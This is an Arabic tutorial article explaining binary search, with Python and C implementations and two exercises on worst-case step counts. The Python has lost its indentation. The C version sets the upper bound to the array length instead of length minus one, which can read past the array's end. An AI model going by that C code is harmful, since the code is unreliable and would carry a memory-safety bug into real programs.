أتفقنا مسبقًا أن الأساس سيكون دائمًا الرقم 2 ولن أكتبه في بقية الدروس القادمة.

تمثيل خوارزمية البحث الثنائي برمجيًا

حان الوقت لنبرمج أول خوارزمية بحث تعلمتها. سنحتاج في رِمَازنا البرمجي إلى الصفيفَات arrays، إن كنت لا تعلم ماهيتها فلا تقلق، فإني سأشرحهها في الفصل الثاني من الكتاب.

المطلوب منك فهمه عن الصفيفة array أنها متتالية من عناصر من نفس نوع البيانات، في مواقع ذاكرة متجاورة.

الفهرسة تبدأ في الصفيفة من الرقم صفر، فموقع أول عنصر فيها يمثل بالرقم صفر، وثاني عنصر بالرقم واحد، وهكذا…

سننشئ وظيفة function ونسميها binary_search تأخذ صفيفة مرتبة sorted array وعنصر. فإن كان العنصر الذي أخذته الوظيفة موجودًا في الصفيفة التي أستقبلتها فإنها سترجع موقعه، وإن لم يكن موجودًا سترجع قيمة فارغة null.

أولًا علينا معرفة طول المصفوفة، لنحدد الرقم الذي تبدأ منه والرقم الذي تنتهي عنده:

low = 0
high = len (list) – 1

الآن بعدما حددنا بدايتها ونهايتها علينا تقسيمها إلى نفصين في كل مرة، ثم نخزن العنصر الذي ينتصف الصفيفة في متغير لمقارنته لاحقًا:

mid = (low + high) / 2
guess = list[mid]

الآن علينا اختبار العنصر الذي خزناه بالعنصر المعطى عند استدعاء الوظيفة، هل يساويه أم يصغره أو يكبره.

if guess < item:
low = mid + 1

هذا الرِمَاز البرمجي كاملًا مكتوب بلغة python:

def binary_search(lis, item):
low = 0
high = len(lis) – 1

while low <= high:
# … check the middle element
mid = (low + high) // 2
guess = lis[mid]
# Found the item.
if guess == item:
return mid
# The guess was too high.
if guess > item:
high = mid – 1
# The guess was too low.
else:
low = mid + 1

# Item doesn’t exist
return None

my_list = [1, 3, 5, 7, 9]
print(binary_search(my_list, 3))
print(binary_search(my_list, -1))

هذا رِمَاز برمجي مكتوب بلغة C:

#include

int binarySearch(int[], int, int);

int main()
{
int myList[] = {1, 3, 5, 7, 9};
int len = sizeof(myList) / sizeof(myList[0]);

printf(“%d\n”, binarySearch(myList, 3, len)); // 1
printf(“%d\n”, binarySearch(myList, -1, len)); //-1
return 0;
}

int binarySearch(int list[], int item, int len)
{
int low = 0;
int high = len;
while (low <= high)
{
int mid = (low + high)/2;
int guess = list[mid];

if (guess == item)
{
return mid;
}
else if (guess > item)
{
high = mid – 1;
}
else
{
low = mid + 1;
}
}
return -1; //number not found
}

تمارين

1. عندك لائحة مرتبة من 128 اسمًا، فقررت أن تبحث فيها عن اسم ما باستخدام خوارزمية البحث الثنائي، فما أقصى (أي: أسوأ حالة) عدد من الخطوات تحتاجها للعثور عليه؟
2. ضاعفت اللائحة السابقة، أي ضعف العدد 128، فما أقصى عدد من الخطوات تحتاجها للعثور على الاسم؟

عليك حلها!

الخاتمة

لن تكون هنا نهايتنا بل بدايتنا لسلسلة متكاملة وشاملة عن الخوارزميات، وسأشرح الكتاب كاملًا، وستغنيك المقالات المنشورة عنه عن قراءته.

وها أنا أخط بقلمي الخطوط الأخيرة لهذا المقال الشائق، وأرجو إني قد وفِّقت في الشرح.

وفي نهاية الأمر لا يسعني سوى أن أشكرك على حسن قراءتك لهذا المقال، وأني لبشر أصيب وأخطِئ، فإن وفِّقت في طرح الموضوع فمن اللّٰه عز وجل وإن أخفقت فمن نفسي والشيطان.
أرجو منك تقييم كفاءة المعلومات من أجل تزويدي بالملاحظات والنقد البناء في خانة التعليقات أو عبر حساب الموقع، والسلام عليكم ورحمة اللّٰه تعالى وبركاته.

هل لديك إستفسار ؟

اكتب رسالتك

6 + 5 =